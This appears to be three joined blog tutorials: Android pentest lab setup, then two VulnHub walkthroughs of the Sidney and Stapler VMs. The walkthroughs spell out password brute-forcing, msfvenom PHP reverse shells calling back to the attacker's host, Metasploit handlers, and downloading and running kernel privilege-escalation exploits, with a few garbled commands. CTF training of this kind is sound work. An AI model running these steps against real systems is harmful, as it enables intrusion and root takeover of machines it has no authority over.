Build an Android Penetration Testing lab


Nowadays mobile user’s area unit increasing day by day, the protection threat is also increasing along with the expansion of its users. These threats can disrupt the operation of the smart phone, and transmit or modify user data. For these reasons, the applications deployed there should ensure privacy and integrity of the info they manage. Mobile security involves protecting personal and business information continues and transmitted from good phones, tablets, laptops and totally different mobile devices. Mobile security has become very important in mobile computing as a result of the day these days increase inside the delicate attack methods.  So, now we will see how to exploit and analyze the android application for vulnerability.

So first we have to setup an environment for android application testing.
Requirements for android penetration testing:
·         Virtual Box
·         Santoku OS which come with preinstalled SDKs.
·         GenyMotion for creating Android Virtual Device ( AVD)
·         A vulnerable android app “InsecureBankv2”.

Let’s start…
So first download Santoku OS from here. Santoku OS is built especially for Mobile penetration testing and forensic investigation. Santoku comes with pre-installed SDKs and other utilities. There is a bunch of forensic tools also like firmware flashing tools for multiple vendors, some other forensic scripts for enumerating app details, etc.

After downloading Santoku open Virtual Box and create a new virtual machine for it.


Now select RAM for Santoku VM, recommended is 786MB but I took 2GB, you can select according to your own need and click NEXT.


In this section select hard disk type as per your need or select VMDK (Virtual Machine Disk)


Here select the size of the hard disk as you wish and then create VM.



Now for installing Santoku tou our created VM right click on Santoku VM and go to settings  Storage  then select the empty disk after click on disk icon just in front of optical drive in the attribute section and then browse and select the downloaded santoku iso file and click Okay.



Finally launch that VM and after few seconds santoku boot menu will appear select “Install- start th installer directly”


Now installation process will begin, select your preferred language then click on continue after click on Install now.



Select your preferred language for the keyboard.


Now in this section name your VM and set a strong password for login access you can also chose Login automatically but it’s not a good choice


Now santoku will start copying files and installing. Now sit back and wait for few minutes after that it will restart.


Here our Santoku is installed that means our first part is completed.

 Now you can download Genymotion from here .

Basically, Genymotion is a relatively fast Android emulator which comes with pre-configured Android with OpenGL hardware acceleration suitable for application testing.

After installing Genymotion, go to https://www.genymotion.com/account/create/  and create a free account there and verify your email ID. Then come back to genymotion desktop software and login there using newly created account credentials.


Now to create an AVD click on ‘Add’ a new menu will appear where you can select android devices according to device brands and version numbers.


Select the device according to your need and click next. Then in this sections your review the configuration of android mobile device and finally create virtual device.


Now the device will start download the data and deploy the virtual android device.


Here you can see I created 2 virtual devices. Now select the devices and launch it.

Here is our Android Virtual Device.


To test our application for any kind of vulnerability we need Android SDK because in our testing phase we will be going to use ADB (Android Debugger Bridge) command line almost every time.  And Android SDK is preinstalled in Santoku OS. So, now we are going to connect santoku to our Android Virtual Device.

Fists check the IP of Android Virtual Device.


Now open command line in Santoku and type:
adb connect
You can check whether device is connected or not by typing:
adb devices

So here we can see that list is showing that 1 device connected.


And here you can also run shell to enter in android mobile by typing:
adb shell

So here creating penetration testing lab for android application is completed now stay tuned for next article on actual android app penetration testing and hacking.

Hack the Sydney VM (CTF Challenge)


Today we will take up a boot2root challenge by Nightmares. We will work on Sidney: 0.2 made by Nightmares.This is the third challenge he genially came up with. The VM is set to grab a DHCP lease on boot. As before, gaining root is not the end of this VM. You will need to snag the flag. You can download this VM from –> https://www.vulnhub.com/entry/sidney-02,149/
Breaching Methodolgies:
1.       Network Scanning (Nmap, netdiscover)
2.       Information gathering:
·         web server enumeration (view source)
·         Directory brute-force (dirb)
·         Wikipedia
3.       Generate own Dictionary (crunch)
4.       Login into admin console
5.       Generate PHP Backdoor (Msfvenom)
6.       Upload and execute a backdoor
7.       Reverse connection (Metasploit)
8.       Kernel privilege escalation (Metasploit)
9.       Gain root access
10.    Penetrate for flag.zip
11.    Access Ram and finished the task

First things we need to know what IP did the VM got. So naturally scan the network using:
netdiscover




Now that we have located our target IP i.e. 192.168.1.103, our next step is to scan it.
nmap -A -p- 192.168.1.103




Upon scanning we know that port number 80 is open that means this IP will open in the browser so let us try and do that.




Then we decided to look into its page source.




So we opened it in the browser (192.168.1.103/commorode64) and to our luck we found another page.




As you will read the page source you will come to know that username is robhubbard and going further you will find some hints about the password i.e. :
  • the password is in lowercase
  • password has 3 letters and four digits
  • and it is related to c=64 sound chip




Then we run dirb for web directory brute-force attack and here it has shown so many directories. But I was interested in index.php and decide to explore it.




So we opened it and as you can see it is asking for username and password. Now, we already know what is the username, we just have to find the password.




Getting the above hints about password, we firstly decided to look up c=64 sound chip on wikipedia. And we found:




We knew that password’s first three digits are alphabetic letters and so our best guess is MOS are the first three digits of the password.
Now everything falls on the last four digits of the password and finds that we used crunch command.
crunch 7 7 -t mos%%%% -o /root/Desktop/dict. txt




Crunch will generate your dictionary file.
And then apply dictionary attack using Burp Suite and then it will result in showing you the password as shown below:



Now on the index.php page enter the username and password. Following page will open and on this page you have to upload a malicious php file



Entering the password you will logon to the following page:




Now to generate the said php open the terminal in your Kali and type:
msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.1.108 lport=4444 -f raw
Simultaneously start multi handler inside metasploit framework.




Copy the code from to die() and save it in a file with .php extension. Now upload this file by browsing it on the webpage.




Meanwhile, return to the Metasploit terminal and wait for the metepreter session by exploiting multi handler.
msf use exploit/multi/handler
msf exploit(multi/handler) set payload php/meterpreter/reverse_tcp
msf exploit(multi/handler) set lhost 192.168.1.108
msf exploit(multi/handler) set lport 4444
msf exploit(multi/handler) exploit
From given below image you can observe Meterpreter session 1. But task is not finished yet, still we need to penetrate more for privilege escalation.




By executing sysinfo we came to know about the target’s architecture i.e. kernel 4.4; and with help of this we found metasploit exploit for kernel privilege escalation. Further type following command:   
use exploit/linux/local/bpf_priv_esc
msf exploit(linux/local/bpf_priv_esc) > set session 1
msf exploit(linux/local/bpf_priv_esc) > set lhost192.168.1.108
msf exploit(linux/local/bpf_priv_esc) > set lport 8888
msf exploit(linux/local/bpf_priv_esc) > exploit
And it will give 2nd meterpreter session with root privilege, now let’s get into root directory and capture the flag.
cd /root
ls




It gave us hint.gif file, let’s download it.
download hint.gif /root/Desktop/




So when we opened hint.gif it has shown below image and I was unable to take-out hint from their conversation.




Further I execute following command:
cd .commodor64
ls
cd .miami
ls
cd vice
ls
Here is flag.zip file let’s download it on our desktop with help of following command:
download flag.zip /root/Desktop/




We will apply dictionary attack using rockyou.txt so for this the command is:
fcrackzip -vuD -p /usr/share/wordlists/rockyou.txt flag.zip
And yes, at last you have the password. So now unzip the flag.zip by typing:
unzip flag.zip
Then it will ask you the password. Enter the recently obtained password here.




And YAY!!!!! We have captured the Flag!!! Enjoy with it.


Hack the Stapler VM (CTF Challenge)

In this article we will try to attack and gain root access to the Stapler: 1 challenge from VulnHub. The goal is to reconnaissance, enumeration, and exploits this vulnerable machine to get root access and to read the contents of flag.txt. We have been told that are various methods to do so but we have tried and found the simplest way.
Download the stapler vm from here
Penetrating Methodology:
·         Network Scanning (Nmap, netdiscover)
·         Enumeration (robot.txt)
·         Wordpress scanning & password cracking (wpscan)
·         Login into Wordpress
·         Generate PHP Backdoor (Msfvenom)
·         Upload and execute a backdoor
·         Reverse connection (Metasploit)
·         Import python one-liner for proper TTY shell
·         Kernel privilege escalation
·         Get Root access and capture the flag.

Start off with scanning the network to find our target. And we all the command for it is:
netdiscover

We found our target –> 192.168.1.126


To scan our target IP we will use aggressive scan (-A)
nmap -p- -A 192.168.1.126


Result will shows us that port number 21, 22, 53, 80, 137, 139, and so many other ports are open.


Also tell us about robot.txt 2 disallowed entries i.e. /admin112233 and /blogblog. Then we explored target IP over port 80 but didn’t found anything here.


So we tried opening it in browser with port 12380


We open /blogblog/ but here also didn’t find any clue for next step.


Then we thought to explore https://192.168.1.126:12380/blogblog/ which put up a new web page as shown below. Studying this blog we have established that the blog is made of Word Press. Now obviously use WPScan to know all about the blog. 


To apply wpscan we have come up with a 3-in-1 command as it will tell us all about the theme and plug-ins as well as usernames and the command is:
wpscan –url https://192.168.1.126/blogblog/ --enumerate at--enumerate ap --enumerate u --disable-tls-checks


It has dumped all username for login, now we only need password for login into wordpress.


By executing below command you will get password for John.
wpscan -u https://192.168.1.126/blogblog/ --username John --wordlist /usr/share/wordlists/rockyou.txt
As you can see the password is “incorrect” for user “john”; now use these credential for login into wordpress.


As we logged in, all now we have to do is to create our PHP code to upload so that once the code will execute we will have its session. To generate the code type:
msfvenom -p php/meterpreter/reverse_tecp lhost-192.168.1.132 lport=4444 -f raw
On other hand run multi/handler inside Metasploit framework.


Copy the code from  to die() and save it in a file with .php extension.
Now, as we already logged on, go to plugins option then select add plugin option. Click on browse option and select the PHP in which you have just saved the code and click on OK.


Now go to the upload directory and double click on the shell.php which you just uploaded.


Meanwhile, return to the Metasploit terminal and wait for the metepreter session by exploiting multi handler.
msf use exploit/multi/handler
msf exploit(multi/handler) set payload php/meterpreter/reverse_tcp
msf exploit(multi/handler) set lhost 192.168.1.132
msf exploit(multi/handler) set lport 4444
msf exploit(multi/handler) exploit
From given below image you can observe Meterpreter session 1. But task is not finished yet, still we need to penetrate more for privilege escalation. Further type:
sysinfo
Then to access proper TTY shell we had import python one line script by typing following:
Shell
python -c 'import pty;pty.spawn("/bin/bash")'
lsb_rlease -a


We now know that our target is using Ubuntu 16.04 so we will try and search its exploit on exploit-db.com. Our search is successful and we have found our appropriate exploit as shown below:


Now, we need to go into the desired writable file and for that type:
cd /tmp
And then to download the exploit type:
wget https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/39772.zip


When we download the exploit, zip files are downloaded and now unzip it and for that type:
unzip 39772.zip
Open the unzipped file by typing:
ls
cd 39772
Now we have a tar file named exploit.tar. Open it with the following command:
tar -xvf exploit.tar


Now use the ls command to view the directories. Now we will go into the double put-exploit folder and for that type:
cd ebpf_mapfd_doubleput_exploit
ls 
./compile.sh (will run the compile.sh)
./doubleput (will run the double.sh)


cd /root (will take you into /root)
ls (shows you the directories of /root)
cat flag.txt
Note: This lab can be solved in multiple ways because there are more than one method to hack this lab.